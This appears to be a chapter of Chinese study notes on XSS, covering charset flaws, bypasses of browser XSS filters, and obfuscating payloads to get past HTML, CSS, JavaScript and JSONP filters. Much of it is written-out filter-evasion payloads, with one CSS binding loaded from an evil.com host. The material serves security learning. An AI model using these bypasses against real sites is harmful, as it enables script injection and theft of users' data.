第六章-漏洞挖掘(…
6.5 字符集缺陷导致的XSS
有些安全问题的罪魁祸首是字符集的使用(即字符集编码与解码)不正确导致的,字符集本身也有一些问题,比如,各原因导致字符集之间的交集分歧。
1. 字符与字节
肉眼看到的一个文字或符号单元就是一个字符(包括乱码),一个字符可能对应 1~n字节, 1 字节为 8 位,每一位要么为 1,要么为 0。
2. 字符集
一个字符对应 1~n 字节是由字符集与编码决定的,比如, ASCII 字符集就是一个字符对应 1 字节,不过 1 字节只用了 7 位,最高位用于其他目的,所以 ASCII 字符集共有 2 的7 次方(128)个字符,基本就是键盘上的英文字符(包括控制符)。
3. 字符集编码
字符集大都对应一种编码方式(比如 GBK 字符集对应了 GBK 编码),不过Unicode 字符集的编码方式有 UTF-8、UTF-16、UTF-32、UTF-7,常见的是 UTF-8 与 UTF-7。
编码的目的是最终将这些字符正确地转换为计算机可理解的二进制,对应的解码就是将二进制最终解码为人类可读的字符。
6.5.1. 宽字节编码带来的安全问题
GB2312、 GBK、 GB18030、 BIG5、 Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃 ASCII 字符(一字节)的现象。
6.5.2. UTF-7 问题
UTF-7 是 Unicode 字符集的一种编码方式,不过并非是标准推荐的,现在仅 IE 浏览器还支持 UTF-7 的解析。
IE 浏览器历史上出现以下好几类 UTF-7 XSS。
- 自动选择 UTF-7 编码
- 通过 iframe 方式调用外部 UTF-7 编码的 HTML 文件
- 通过 link 方式调用外部 UTF-7 编码的 CSS 文件
- 通过指定 BOM 文件头
BOM 的全称为 Byte Order Mark,即标记字节顺序码,只出现在 Unicode 字符集中,BOM 出现在文件的最开始位置,软件通过识别文件的 BOM 来判断它的 Unicode 字符集编码方式.
6.5.3. 浏览器处理字符集编码 BUG 带来的安全问题
历史上所有的浏览器在处理字符集编码时都出现过 BUG,这类安全问题大多是模糊测试出来的。
有一点需要特别说明的是:标准总是过于美好,比如字符集标准,但是每个浏览器在实施这些标准时不一定就能很好地实施,所以不要轻信它们不会出现 BUG。
6.6 绕过浏览器 XSS Filter
主要是 IE 和 Chrome 两大浏览器拥有 XSS Filter 机制,不可能有完美的过滤器,从历史上看,它们被绕过很多次,同时也越来越完善,但是总会有被绕过的可能性,绕过的方式同样可以通过 fuzzing 技巧来寻找。
XSS Filter 主要针对反射型 XSS,大体上采用的都是一种启发式的检测,根据用户提交的参数判断是否是潜在的 XSS 特征,并重新渲染响应内容保证潜在的 XSS 特征不会触发。
6.6.1. 响应头 CRLF 注入绕过
如果目标网页存在响应头部 CRLF 注入,在 HTTP 响应头注入回车换行符,就可以注入头部:
X-XSS-Protection: 0
用于关闭 XSS Filter 机制,这也是一种绕过方式。
6.6.2 针对同域的白名单
针对同域的白名单机制不是绕过,而是浏览器的性质,这种性质给反射型XSS 的利用提供了便利。
1. IE 的同域白名单
IE 会判断 Referer 来源是否是本域,如果是,则 XSS Filter 不生效
比如, xss.php 的代码如下:
content:<?php echo $_GET['x'] ?>
referer:<?php echo $_SERVER['HTTP_REFERER'] ?>
如果直接请求:
http://www.foo.com/xss.php?x=<script>alert(1)</script>
会被 IE XSS Filter 拦截下来,如果是通过同域内的<a>链接点击过来的,或者<iframe>直接嵌入,由于 Referer 来源是同域,此时 XSS Filter 不生效,代码如下:
<a href="xss.php?x=<script>alert(1)</script>" target="_blank">xxxxxxxxxxx</a>
<iframe src=xss.php?x=%3Cscript%3Ealert(1)%3C/script%3E></iframe>
<!--原来一直不知道markdown编辑器支持HTML解析到底会有什么作用,直到刚刚上面代码被解析构成攻击。。。。QAQ-->
2. Chrome 的同域白名单
Chrome 的同域白名单机制和 IE 完全不一样,用法如下:
http://www.foo.com/xss.php?x=<scriptsrc=alert.js></script>
如果是<script>
嵌入同域内的 js 文件, XSS Filter 就不会防御,这个受 CSP 策略(CSP 参考 10.1.2 )的影响。
6.6.3. 场景依赖性高的绕过
- 场景一:反射型 XSS 的参数值出现在 JavaScript 变量里
<script>
var a='[userinput]';
...
</script>
提交 xxx.php?userinput=';alert(123)//
,得到如下语句:
<script>
var a='';alert(123)//';
...
</script>
对于这样的场景, Chrome 的 XSS Filter 便无法有效地防御, IE 却可以。
- 场景二: 如果 PHP 开启的 GPC 魔法引号,那么下面这样的 URL 可以绕过 IE XSS Filter:
http://www.foo.com/xss.php?x=<script %00%00%00>alert(1)</script>
xss.php 代码如下:
<?php echo $_GET['x'] ?>
原因是: %00 会被 PHP 转义为\0, IE XSS Filter 估计就因此被绕过,最终的输出结果是:
<script \0\0\0>alert(1)</script>
- 其他特性:
IE 对 DOM XSS 没有防御策略,但是 Chrome 却有。
Chrome 还支持注入 data:协议的 XSS,不过 data:协议是空白域,不会对目标造成大的影响。
6.7 代码混淆
在实际的跨站中,往往不能随心所欲地注入代码,因为可能会有各种无法预料的过滤,有可能某些特殊字符被校验,或某些关键词被过滤,从而导致代码不能够正常执行。为了提高漏洞挖掘的成功率,经常需要对各种代码进行混淆,以绕过过滤机制。
6.7.1 浏览器的进制常识
在浏览器中常用的进制混淆有八进制、十进制和十六进制。
- 常会在HTML的属性中用到十进制和十六进制:
十进制在 HTML中可使用8
来表示,用&和#作为前缀,中间为十进制数字,使用半角分号(;)作为后缀,其中后缀也可以没有。
十六进制,使用Z
表示,比十进制多了个 x,进制码中也多了 a~f 这 6 个字符来表示 10~15,其中后缀也可以没有,而且 x 和 a~f 这几个字符大小写不敏感。 -
CSS 的属性中,也只能用到十进制和十六进制, CSS 兼容 HTML 中的进制表示形式,除此之外,十六进制还可以使用\6c 的形式来表示,即使用斜线作为进制数值前缀。
-
在 JavaScript 中可以直接通过 eval 执行的字符串有八进制和十六进制两种编码方式,其中八进制用
\56
表示,十六进制用\x5c
表示。
需要注意的是,这两种表示方式不能够直接给多字节字符编码(如汉字、韩文等),如果代码中应用了汉字并且需要进行进制编码,那么只能进行十六进制 Unicode 编码,其表示形式为:\u4ee3\u7801
(“代码”二字的十六进制编码)。 -
也会遇到其他一些编码形式,如 URLEncode,以及用进制数值表示 IP的格式等。
如何将代码转化成这些进制字符呢?
JavaScript 自身就带有两个函数可以处理这个事情:
char.toString(jinzhi)
(char 为需要编码的单字, jinzhi 为需要编码的进制,可以填写 2、 8、 10、 16 或其他之类数字)String.fromCharCode(code,jinzhi)
(code 为需要进制解码的数字, jinzhi 为当前数字的进制)。
故而,可自行编写个人进制编/解码函数,实例:
var Code = {};
Code.encode = function(str, jinzhi, left, right, digit) {
left = left || "";
right = right || "";
digit = digit || 0;
var ret = "",
bu = 0;
for (i = 0; i < str.length; i++) {
s = str.charCodeAt(i).toString(jinzhi);
bu = digit - String(s).length + 1;
if (bu < 1) bu = 0;
ret += left + new Array(bu).join("0") + s + right;
}
return ret;
};
Code.decode = function(str, jinzhi, for_split, for_replace) {
if (for_replace) {
var re = new RegExp(for_replace, "g");
str = str.replace(re, '');
}
var arr_s = str.split(for_split);
var ret = '';
for (i = 0; i < arr_s.length; i++) {
if (arr_s[i]) ret += String.fromCharCode(parseInt(arr_s[i], jinzhi));
}
return ret;
};
代码中建立了 Code 对象,并为其添加了 encode 和 decode 两个方法。
encode 方法拥有以下 5 个参数:
- str: 需要进行编码的字符。
- jinzhi: 需要编码到的目标进制,如 2、 8、 10、 16。
- left: 编码数值的前缀。
- right: 编码数值的后缀。
- digit: 数值位数,补 0(如 digit 设为 4,编码数值为 65,那么补 0 的结果为 0065)。
decode 方法拥有以下 4 个参数:
- str: 需要进行解码的数值串。
- jinzhi: 原数值串的编码进制。
- for_split: 以某个(或某几个)字符作为分隔符。
- for_replace: 需要删除的其余字符(如以前缀作为分隔,则需要删除的字符就为后缀)
然后运行下列语句:
Code.encode("Hello", 16, '&#x', ';', 4);
将会编码成如下形式:
Hello
我们再运行下列语句:
Code.decode("Hello",16, ';', '&#x');
将重新解码成: Hello
。
可参考monyer在线加解密 http://monyer.com/demo/monyerjs/
样例, HTML中的进制用法:
<img src=http://www.baidu.com/img/baidu_sylogo1.gif>
注:解析后为百度Logo
将 img 的属性 src 的值分别转换为十进制和十六进制的效果如下:
<img src=http://www.baidu.com/img/baidu_sylogo1.gif>
<img src=http://www.baidu.com/img/baidu_sylogo1.gif>
注:两种转换后解析仍为百度Logo
证明浏览器自身已经对上述编码做了自动解码
十进制编码设定了其最小位数为 3 位,所以不够 3 位的数值用 0 补充,这在实际的代码混淆中很有用,它可以用来绕过一些站点的过滤器,不过不同的浏览器对所能支持的位数有一定的要求,如IE 只能支持最大 7 位数值,而对 Chrome 来说,设置位数无限制。
于进制方式对字母的大小写不敏感,后缀“;”也不是必需的,并且我们也可
以将常规字符、 十进制编码和十六进制编码字符混合,所以可以将代码混淆成如下形式,
它依然有效:
<img src=http://www.baidu.com/img/baidu_sylogo1.gif>
注:解析依旧成功
CSS中的进制用法:
<div style="background:red">1</div>
对其进行十进制编码和十六进制编码的效果分别如下:
<div style="background:red;">1</div>
<div style="\62\61\63\6b\67\72\6f\75\6e\64:\0072\0065\0064;">1</div>
<div style="background:red;">1</div>
需要注意的是,如果使用“\62\61”形式进行十六进制编码,那么要注意将 CSS属性名和属性值之间的冒号留出来,否则代码将不会解析。
可以把以上三种编码方式混合到一个字符串中,达到如下效果,代码依旧可以正确执行:
<div style="background:\0072\0065\0064;">1</div>
JavaScript 中字符串的进制用法:
<script>eval("alert('你好')");</script>
其八进制和十六进制表示的代码如下:
<script>eval("\141\154\145\162\164\50\47\u4f60\u597d\47\51");</script>
<script>eval("\x61\x6c\x65\x72\x74\x28\x27\u4f60\u597d\x27\x29");</script>
中文部分一定要使用 Unicode 的形式,即'\u'加上汉字的十六进制编码。
另外,虽然十进制不能直接通过 eval 来执行,但可以使用 String.fromCharCode 函数先
对数值进行解码,然后传递给 eval 执行,例如:
<script>
eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41,59));
</script>
6.7.2 浏览器的编码常识
在 JavaScript 中,有三套编/解码的函数,分别为:
- escape/unescape
- encodeURI/decodeURI
- encodeURIComponent/decodeURIComponent
escape 不编码的字符有 69 个:
*、 +、 -、 .、 /、 @、 _、 0~9、 a~z、 A~Z
而且 escape 对 0~255 以外的 unicode 值进行编码时输出%u****
格式。
encodeURI 不编码的字符有 82 个:
!、 #、 $、 &、 '、 (、 )、 *、 +、 ,、 -、 .、 /、 :、 ;、 =、 ?、 @、 _、 ~、 0~9、 a~z、 A~Z
encodeURIComponent 不编码的字符有 71 个:
!、 '、 (、 )、 *、 -、 .、 _、 ~、 0~9、 a~z、 A~Z
可以编写一个函数来使 escape 可以对所有的字符进行编码,代码如下:
var ExEscape = function (str) {
var _a, _b;
var _c = "";
for (var i = 0; i < str.length; i++) {
_a = str.charCodeAt(i);
_b = _a < 256 ? "%" : "%u"; //u 不可以大写
_b = _a < 16 ? "%0" : _b;
_c += _b + _a.toString(16).toUpperCase(); //大小写皆可.toLowerCase()
}
return _c;
}
如此,可以使用eval(unescape(%61%6C%65%72%74%28%31%29));
的形式来绕过过滤器对某些关键词的过滤
6.7.3 HTML 中的代码注入技巧
完整的 HTML 代码分为:标签名、属性名、属性值、文本、注释。其中,属性可以是 JavaScript 事件、资源链接或 data 对象。当 HTML Filter做过滤时,同样是从这些维度出发的,对这些位置可能出现的 XSS 形式进行过滤,而我们要做的就是使这种过滤手段失效,将代码插入到想要执行的地方。
1.标签
由于 HTML 语言的松散性和各标签的不同优先级,使得我们可以创造出很多代码混淆
或绕过方式。如 HTML 标签是不区分大小写的,我们可以全部小写:
<script></script>
也可以全部大写或者大小写混合:
<SCRIPT></ScRiPt>
这对代码的运行没有丝毫的影响,但是这样会阻碍过滤器对关键词的识别。另外,由
于现代浏览器对 XHTML 的支持,使得我们可以在某些浏览器的某些版本中插入 XML 代
码、 SVG 代码或未知标签。IE6下可构造如此:
<XSS STYLE="xss:expression(alert('XSS'))">
如果对方站点的 HTML 过滤器是基于黑名单的,很明显, <XSS>
标签不在名单之列,使得插入的代码得以被绕过。我们可以通过 fuzzing 的方式确认究竟哪些标签可用,哪些标签不可用。通常情况下,黑名单的过滤器总会留下漏网之鱼,当然,这类标签都是不常用的标签,例如,以下几个就比较少见:
<isindex PROMPT="click picture" action="javascript:alert(1)" src="http://www.baidu.com/img/baidu_logo.gif" style="width:290;height:171" type="image">
<BGSOUND SRC="javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
也可以尝试分析出过滤器的缺陷进行针对性的绕过,例如,对方的过滤器判断标签的方法为:
/<([^>]+)>.*?<\/([^>]+)>/
那么当我们构造代码为:
<<SCRIPT>alert("XSS");//<</SCRIPT>
就不会被匹配到.
有些过滤器的 HTML Parser 很强大,会判断当前代码段是否存在于注释中,如果是注释,则忽略,这样做的目的是为了维持用户数据的最大完整性,但是却给了我们可乘之机。如有些过滤器的判断注释的方法为:<!--.*-->
,但注释可以这样写: bbb<!-- aaa<!--aaa--> ccc-->bbb
,这样,“ccc
”代码就暴露出来可以执行了。
与之相反,有些 HTML Parser 不关心是否有注释,只关心 HTML 标签、属性、属性
值是否有问题,如标签是否是<script>
,属性是否是 JavaScript 事件,属性值是否是伪协议
等。但是由于注释优先级较高,我们可以构造以下一段代码:
<!--<a href="--><img src=x onerror=alert(1)//">test</a>
扫描器忽略了 HTML 注释后,会认为下面这段是一个完整的 HTML 语句:
<a href="--><img src=x onerror=alert(1)//">test</a>
那么下面这段就被认为是属性 href 的值:
"--><img src=x onerror=alert(1)//"
从而对这段代码进行放行。但实际上对浏览器来说,
<!--<a href="-->
是注释内容,
<img src=x onerror=alert(1)//">
则是一个完整的 img 标签,而 onerror 则成了一个独立的事件属
性得以执行。
另外还有一种特殊的注释: IE HTML 条件控制语句,代码样式如下:
<!--[if IE]>所有的 IE 可识别<![endif]-->
<!--[if IE 6]>仅 IE6 可识别<![endif]-->
<!--[if lt IE 6]> IE6 以及 IE6 以下版本可识别<![endif]-->
<!--[if gte IE 6]> IE6 以及 IE6 以上版本可识别<![endif]-->
这是 IE 所独有的,在其他浏览器看来与普通注释无异,但是在 IE 看来却是可根据条件执行的,这给我们绕过过滤器创造了可乘之机。
如下两种条件语句也是可以在 IE下被解析执行的:
<!--[if]><script>alert(1)</script -->
<!--[if<img src=x onerror=alert(2)//]> -->
在 HTML 语法中有标签优先级的概念,有些标签如<textarea>
、<title>
、<style>
、<script>
、
<xmp>
等具有非常高的优先级,使得其结束标签甚至可以直接中断其他标签的属性:
<title><ahref="</title><img src=x onerror=alert(1)//">
<style><ahref="</style><img src=x onerror=alert(1)//">
如上代码在不分优先级的过滤器看来是一个<title>
或<style>
标签,后面跟了一个<a>
标
签,那么如果标签和属性都是合法属性,代码就会被放行,但是在浏览器看来则是一对
<title>
或<style>
标签和一个<img>
标签,因为<img>
拥有一个自动执行的 onerror 事件属性,
使得我们放在事件中的代码得以执行。从这点看,我们可以认为 HTML 注释本身是一个高
优先级的标签。如果过滤器将如上标签也过滤了,那么我们也可以尝试以下这些方式:
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<% foo="%><script>alert(1)</script>">
这些都是前人模糊测试的结果,前三种可在 Firefox 和 Webkit 浏览器中执行,第四种
可以在 IE 中执行。如果过滤器是基于黑名单过滤的,那么有可能会忽略这些。
2.属性
标签相似, HTML 标签中的属性同样也是大小写不敏感的,并且属性值可以用双引
号引起来,也可以用单引号,甚至不用引号在 HTML 语法上也是正确的。而且在 IE 下面
还可以用反引号 ` 来包括属性值,形式分别如下:
<img src="#">(双引号)
<img SRC='#'>(属性名大写、属性值单引号)
<img sRC=# >(属性名大小混合写,属性值不用引号)
<img src=‛#‛>(属性值要用反引号包括)
此外,标签和属性之间、属性名和等号之间、等号和属性值之间可以用空格、换行符(chr(13))、回车符(chr(10))或者 tab(chr(9))等,并且个数不受限制:
=x
onerror=
"alert(1)">
还可以在属性值的头部和
尾部(引号里面)插入系统控制字符,即 ASCII 值为 1~32 这 32 个控制字符,不同的浏览
器都有各自的处理方式,如下语句:
<a  href=" javascript:alert(1)">test</a>
是可以在 IE、 Firefox、 Chrome 下执行的,但语句:
<a  href=" javascript:alert(1)">test</a>
就仅可以在 IE 和 Firefox 下执行。
在使用控制字符时,要有一个预期,期望自己的代码能在哪些浏览器上运行,甚至是哪些浏览器的哪些特定版本上运行。
当利用反射型 XSS 漏洞时,有时输出的变量会出现在 HTML 文本里,利用起来相对容易;有时则会出现在属性值中,我们应想办法先闭合这个属性值,然后要么干脆接着闭合当前标签,要么设置一个可触发事件或自动触发事件属性来执行插入的脚本。
HTML 属性按用途分,大致可以分普通属性、事件属性、资源属性几种。
- 对于普通属性,如果我们可控制的变量是属性值,那么我们所能做的就只能是突破当前属性,尝试去构造新属性或者构造新标签。若属性值没有用引号,如:
<font color=<?=$_GET['url']?> />
利用起来就非常简单,使用?url=x%20onerror=alert(1)
就可以使代码执行了,将变
量合到代码中的形式为:
<font color=x onerror=alert(1) />
如果属性值是被引号包括的:
<font color="<?=$_GET['url']?>" />
那么就只能看看能否构造自己的引号将已有的属性闭合:
?url=x"%20onerror=alert(1) //
将变量合到代码中的形式为:
<font color="x" onerror=alert(1) //" />
但如果对方此时连引号也过滤掉了,或者做了 HTMLEncode 转义,那么既没有 XSS
安全隐患,也没有可以利用的方式。不过这里目前至少有两个特例:
<img src="x` `<script>alert(1)</script>"` `>(IE 6)
<img src= alt=" onerror=alert(1)//">(IE、 Firefox、 Chrome、 Opera 等)
- 若我们所能控制的是事件属性,除了像上文所说突破当前属性外,最直接的手段就是直接插入我们的代码等待用户来触发:
<a href="#" onclick="do_some_func(\"<?=$_GET['a']?>\")">test</a>
如,对如上代码构造参数为: ?a=x');alert(1);//或者?a=',alert(1),',那么插入代码后的形式为:
<a href="#" onclick="do_some_func('x');alert(1);//')">test</a>
<a href="#" onclick="do_some_func(",alert(1),")">test</a>
第一段代码将之前的函数闭合,然后构造自己的新代码。第二段代码利用了一个函数可以在另外一个函数中执行的特性,也就是 JavaScript 中所谓的匿名函数。
如果语句是一句话,可以直接写,如果是多句,则需要定义一个匿名方法,语句如下:
<a href="#" onclick="do_some_func('',function(){alert(1); alert(2);} ,'')">test</a>
另外,关于如何将多个语句合并成一个语句,我们在浏览器的进制常识中已经学到,
就是编码。例如, alert(1);alert(2);
的十六进制编码如下:
\x61\x6c\x65\x72\x74\x28\x31\x29\x3b\x61\x6c\x65\x72\x74\x28\x32\x29\x3b
那么就可以构造:
<a href="#" onclick="do_some_func('',eval('\x61\x6c\x65\x72\x74\x28\x31\x29\x3b\x61\x6c\x65\x72\x74\x28\x32\x29\x3b') ,'')">test</a>
HTML 中通过属性定义的事件在执行时会做HTMLDecode 编码,这意味着即便我们的代码被转义成如下形式:
<a href="#" onclick="do_some_func('',alert(1),'')">test</a>
这段代码依旧是可以执行的。被引入变量只有先进行JSEncode编码,再做HTMLEncode
编码,才能彻底防御
- 于资源类属性,我们可以理解为属性值需要为 URL 的属性,通常,属性名都为 src或 href。这类属性一般都支持浏览器的预定义协议,包括:
http:、 ftp:、 file:、 https:、 javascript:、vbscript:、 mailto:、 data:
等。在这些协议中,有些协议是网络交互协议,用来和远程服务器传输数据时统一格式,如http:、 https:、 ftp
:等;有些是本地协议,用来调用本地程序执行一些命令,我们一般称后者这种本地协议为伪协议,如javascript:、 vbscript:、 mailto:、data:
等。由于伪协议可以调用本地程序执行命令这一特点,使得它成为我们在 XSS 中利用的对象。
常见的支持资源属性的 HTML 标签如下(包括但不限于以下这些):
APPLET, EMBED, FRAME, IFRAME, IMG,
INPUT type=image,
XML, A, LINK, AREA,
TABLE\TR\TD\TH 的 BACKGROUND 属性,
BGSOUND, AUDIO, VIDEO, OBJECT, META refresh,SCRIPT, BASE, SOURCE
一个伪协议的声明形式为:协议名:数据,示例如下:
<a href="javascript:alert(1)">test</a>
其中,“javascript”为协议名,冒号“:”作为协议名和数据的分隔符,后面的全部是
数据部分。在最初的浏览器定义中,凡是支持输入链接的地方都是支持伪协议的,也就是
所谓的 IE 6 年代。不过现在由于 XSS 的猖獗,很多浏览器已经把一些被动的(不需要用户
交互,可直接随页面加载触发的) 资源类链接的伪协议支持屏蔽掉了,比如:
<img src="javascript:alert(1)">
也有一些没有屏蔽,比如:
<iframe src="javascript:alert(1)">
由于 IE 6 浏览器在国内的市场份额依旧比较高,即便新版本的浏览器中不能够执行代码,覆盖到 IE 6 的用户对我们的攻击来说也是一次比较成功的 XSS 运用。
目前在 XSS 中常用的伪协议有三个: javascript:、 vbscript:(协议名也可以简写为 vbs:)
和 data:,前两者分别可以执行 JavaScript 脚本和 VBScript 脚本。但是由于 VBScript 是微软
所独有的,所以仅能在 IE 下执行,其他浏览器都不支持,而 IE 还不支持 data 协议。
同 HTML 标签和属性的特点相似,伪协议的协议名也是不区分大小写的,并且跟事件相
仿,数据也可以做自动的 HTMLDecode 解码以及进制解码,所以我们可以有多种利用方法:
<iframe src="jAvAsCRipt:alert('xss')">
<iframe src="javascript:alert("XSS")">
<IFRAME SRC=javascript:alert(String.fromCharCode(88,83,83))>
另外有几个不常用的属性也支持伪协议:
<img dynsrc="javascript:alert('xss')">(IE6)
<img lowsrc="javascript:alert('xss')">(IE6)
<isindex action=javascript:alert(1) type=image>
有时在过滤器仅过滤了 src 和 href 中的伪协议时,我们可以用这种属性绕过。还有一些常用标签的不常见属性:
<input type="image" src="javascript:alert('xss');">
很少有人用到 input 的 type="image"这个属性,这也将成为我们绕过过滤器的突破点。
3. HTML 事件
另一种特殊的 HTML 属性是事件属性,一般以 on 开头,如 onclick、 onmouseover 之类。它继承了普通的 HTML 属性的所有特点:大小写不敏感、引号不敏感等。
浏览器通常支持的一些事件:
如果我们想知道对方的过滤器过滤了哪些事件属性,最简单的方式是用 fuzzing 机制,使用<div on****="aaa">1</div>
的形式将所有的事件都生成出来,然后试探目标站点都过滤了哪些。
也可直接使用 onabcd 这样的假事件属性构造这样一个语句: <div onabcd="aaa">1</div>
,如果连这样的事件都过滤了,说明对方的过滤器可能使用了白名单,或者是把所有以 on 开头的属性全部过滤掉了。
些事件的触发条件相对来说比较复杂,甚至需要其他因素,如数据绑定事件只能在IE 浏览器下被支持,并且还需要有 XML 数据的支持。
有些事件的触发则需要给用户一些诱导因素,如 ondrag 事件需要用户拖动才能触发,但拖动并不是用户的常用动作,此时可以人为设计一个要素,要求用户参与时需要拖动。比如界面劫持,譬如构造图片看起来像是一个 iframe,用户会误以为滚动条是真的,于是向下拖动假的滚动条,然后触发了拖动事件。
6.7.4 CSS 中的代码注入技巧
CSS 分为选择符、属性名、属性值、规则和声明几部分
@charset "UTF-8";
body{
background:red;
font-size:16px;
}
a{
font-size:14px!important;
}
其中的 body 和 a 为选择符;
background、 font-size 为属性名,后面为属性值;
@charset为规则;
!important 为声明。
能被利用插入 XSS 脚本的地方只有 CSS 资源类属性值和@import 规则,以及一个只能在 IE 浏览器下执行的属性值 expression
与 HTML 类似, CSS 的语法同样对大小写不敏感,属性值对单双引号不敏感,对资源类属性来说, URL 部分的单双引号以及没有引号也都不敏感,并且凡是可以使用空格的地方使用 tab 制表符、回车和换行也都可以被浏览器解析。
1. CSS 资源类属性
与 HTML 的资源类属性类似, CSS 的一些资源类属性的 XSS 利用也是通过伪协议来完成的,这种利用方式目前只能在 IE 下被执行,并且 IE 9 已经可以防御住。
目前来看,这类属性基本上都是设置背景图片的属性,如 background、 background-image、 list-style-image 等。关键字主要有两个:javascript、 vbscript,其用法大致如下:
body{background-image:url('javascript:alert(1)');}
BODY{BACKGROUND-image:URL(JavaSCRIPT:alert(1));}
BODY{BACKGROUND-image:URL(vbscript:msgbox(2));}
li {list-style-image: url("javascript:alert('XSS')");}
CSS 还有一类资源类属性可以嵌入 XML、 CSS 或者 JavaScript,比如 , Firefox2 独有的
-moz-binding、 IE 独有的 behavior 以及规则@import,用法分别如下:
body{-moz-binding:url("http://www.evil.com/xss.xml")}
html{behavior: url(1.htc);}
@import "test.css"
2. expression
expression 是 IE 所独有的 CSS 属性,其目的就是为了插入一段 JavaScript 代码,示例
如下:
a{text:expression(target="_blank");}
当在 IE 下执行这段 CSS 后,它会给所有的链接都加上 target="_blank"属性。
将“target="_blank"”替换成其他代码,如 alert(1),那么刷新页面后就会不断地弹出窗口。
(expression 中的代码相当于一段 JavaScript 匿名函数在当前页面的生命周期内是不断循环执行的)
3.利用 UTF-7 编码进行 CSS 代码混淆
UTF7 Encode 和UTF7 Decode。将页面进行 UTF-7 编码,这为混淆我们的代码、绕过对方的过滤器提供了很大便利。
6.7.5 JavaScript 中的代码注入技巧
当 XSS 点出现在 JavaScript 代码的变量中时,只要我们可以顺利闭合之前的变量,即可插入代码。
示例:
var a = "[userinput]";
- 假设其中的[userinput]是用户可控变量,则可以尝试用引号来闭合变量,假如输入:
123";alert(1);b="
那么代码效果如下:
var a = "123";alert(1);b="";
a 变量被闭合, alert(1)得以逃脱出来,而 b 变量的存在是为了使语法保持正确。
- 也可以输入注释符“//”来忽略掉后面的错误语法:
var a = "123";alert(1);//";
如果对方的站点对[userinput]使用了addslashes
,这样单引号、双引号和反斜线的前面都会增加一条反斜线,使得无法通过直接使用引号来闭合:
var a = "123\";alert(1);//";
- 如果在宽字节环境下,就可以采用宽字节的方式进行.
- 或者也可以用下列语句:
var a = "123</script><script>alert(1);</script>";
对 HTML 页面中的 JavaScript 代码来说,</script
>闭合标签具有最高优先级,可以在任何位置中断 JavaScript 代码。所以,在实际的过滤器实现中,事实上还会区分引用变量中是否使用了</script>
闭合标签,如果使用了,则要用反引线做转换“<\/script>
”。另外,还要注意引用变量的数据走向,看能否有 DOM XSS 的可能性。
1.JSON
根据需求的不同, JSON 大体上有两种格式:没有 callback 函数名的裸 Object 形式和有 callback 函数名的参数调用 Object 的形式:
[{"a":"b"}]
callback([{"a":"b:}])
后者的存在主要是为了跨域数据传输的需要,而这个特性通常也成了攻击者跨域获取用户隐私数据的重要渠道.
一些应用为了维持数据接口的定制性,通常会让数据请求方在请求参数中提供 callback 函数名,而不是由数据提供方定制,如请求方发起请求:
get_json.php?id=123&call_back=some_function
数据提供方提供数据的 callback 格式为:
some_function([{'id':123, data:'some_data'}]);
如果恰巧在这个过程中,数据提供方没有对 callback 函数名做安全过滤,并且页面本身也没有对 HTTP 响应头中的 Content-Type 做限制,那么我们便跨域直接对 callback 参数进行利用,输入我们的 XSS 代码,如构造请求:
get_json.php?id=123&call_back=<script>alert(1);</script>
那么数据提供方返回的数据就会成为如下形式:
<script>alert(1);</script>([{'id':123, data:'some_data'}];
由于页面是可访问的,浏览器默认就会当成 HTML 来解析,使得我们的 XSS 得以执行。到目前为止,大约三分之一拥有 callback 的 JSON 数据提供方都可以被利用。而有一部分 JSON 数据提供方则采取过滤的方式防御,大部分是过滤了“<>”这两个字符,使得攻击者没有办法直接构造出 HTML 标签来。
恰巧 callback 函数是处于文件开头,所以直接使用“+/v8”等字符让 IE 浏览器认为
这是一个 UTF-7 编码的文件,之后再将我们的 XSS 代码进行 UTF-7 编码放进来即可(如
前文所说,这种方式已经是历史)。我们编写利用代码为:
+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4
(为<script>alert(1)</script>
的 UTF-7 编码)
经过 URL 编码后附在 callback 参数后面:
get_json.php?id=123&callback=%2B%2Fv8%20%2BADw-script%2BAD4-alert(1)%2BADw-%2Fscript%2BAD4
这样数据提供方返回给我我们的数据为:
+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4({‘id’=>123,data=>’some_data’});
通过 IE 解析后,就可以认为是 UTF-7 编码,并执行我们构造的语句。
不过还有一部分数据提供方采取了另一种巧妙的防御策略:给 JSON 数据页面 HTTP响应头设置 Content-Type,来使访问该页面时以下载的方式呈现,而不是 HTML 的方式呈现。
但这种防御策略有可能会有两种方式被我们绕过:
- 方式一
看提供方的 Content-Type 设计得够不够好,有些提供方设置的是“text/javascript”,这种 type 在 IE 下是有效的,但是在 Firefox 下,我们构造的代码依旧可以执行。
有些提供方设置的是“text/plain”,这在 Firefox 下是有效的,但是在 IE 下却会执行。
有些甚至把 Content-Type 设置成 zip 的头“application/x-zip-compressed”,但这种Content-Type 对于“http://test/test.php?xss=123”
请求的确是有效的,但是对于“http://test/test.php?xss=<script>alert(1)</script>”
请求,在 IE 下却会失效。
一般认为设置成“application/json”相对来说还是比较有效的,不过根据情形,也有可
突破的可能性.
- 方式二
主要利用 IE 浏览器确定文件类型时不完全依赖 Content-Type 的特性,有时,如果我们直接增加一个 URL参数为 a.html,IE会认为这是一个 HTML文件而忽略 Content-Type,使用 HTML 来解析文件。这通常由 JSON 提供商所使用的服务器、编程语言,以及使用语言的方式而定,如果将 a.html 放到如下位置,就有可能绕过 Content-Type:
foo.cgi?id=123&a.html
foo/?id=123&a.html
foo.php/a.html?id=123 (apache 服务器会忽略掉/a.html 去请求 foo.php)
2. JavaScript 中的代码混淆
有时虽然可以插入一个 alert(1)这样的代码,但是想插入更多时,发现代码被做了
HTMLEncode 过滤,这时我们可以采用之前提到的方法,进行进制转换后使用 eval 来执行:
eval(String.fromCharCode(97,108,101,114,116,40,49,41,59));
如果对输入的内容有字数限制,我们甚至可以输入 eval(name)来做执行入口,然后在
另一个可控制的页面(如攻击者的网站)放置如下一段代码:
<script>
window.name = "alert('xss')";
locaton.href = "http://www.target.com/xss.php";
</script>
这里利用了 window.name 可以跨域传递的特性。
另一种过滤器情况可能与之相反,没有限制字数,却过滤了大部分函数,如 eval、 alert、http 链接之类,那么我们都可以采取一些手段来绕过过滤器,如用(0)['constructor']['constructor']
来代替 eval,用"h"+"t"+"t"+"p"来绕过简单的链接过滤等
http://utf-8.jp/public/jsfuck.html JsFuck代码混淆
也可以使用 Flash 来绕过过滤器和隐藏我们的脚本内容
